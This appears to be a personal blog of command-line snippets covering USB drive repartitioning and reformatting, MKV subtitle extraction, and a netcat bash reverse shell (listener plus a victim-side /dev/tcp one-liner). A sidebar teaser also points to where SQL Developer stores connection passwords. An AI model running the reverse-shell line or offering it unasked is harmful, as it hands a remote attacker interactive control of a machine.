Jul 15, 2016
Jul 13, 2016
flash disk recovery
$ sudo fdisk -l
$ sudo fdisk /dev/sdc
> d (delete partitions)
> n (new partition - primary)
> w (write changes)
$ sudo lsblk /dev/sdc1
$ sudo mkfs.vfat /dev/sdc1
$ sudo eject /dev/sdc
$ sudo fdisk /dev/sdc
> d (delete partitions)
> n (new partition - primary)
> w (write changes)
$ sudo lsblk /dev/sdc1
$ sudo mkfs.vfat /dev/sdc1
$ sudo eject /dev/sdc
Jul 12, 2016
Jul 9, 2016
extract subtitles from mkv
$ brew install mkvtoolnix
$ mkvmerge -i <file>
$ mkvextract tracks <file> 3:sub3.srt 4:sub4.srt
$ mkvmerge -i <file>
$ mkvextract tracks <file> 3:sub3.srt 4:sub4.srt
Jul 8, 2016
nc bash reverse shell
attacker:
$ nc -n -vv -l -p <port>
victim:
$ /bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1
$ nc -n -vv -l -p <port>
victim:
$ /bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1
Subscribe to:
Posts (Atom)
Kubernetes
kubectl installation $ curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl...
-
SQL Developer: %APPDATA%\SQL Developer\system*\o.jdeveloper.db.connection*\connections.xml <StringRefAddr addrType="password"...
-
Installation $ sudo dpkg -i foundationdb-clients_*.deb foundationdb-server_*.deb Check connection to DB $ fdbcli Using cluster file `/etc/fo...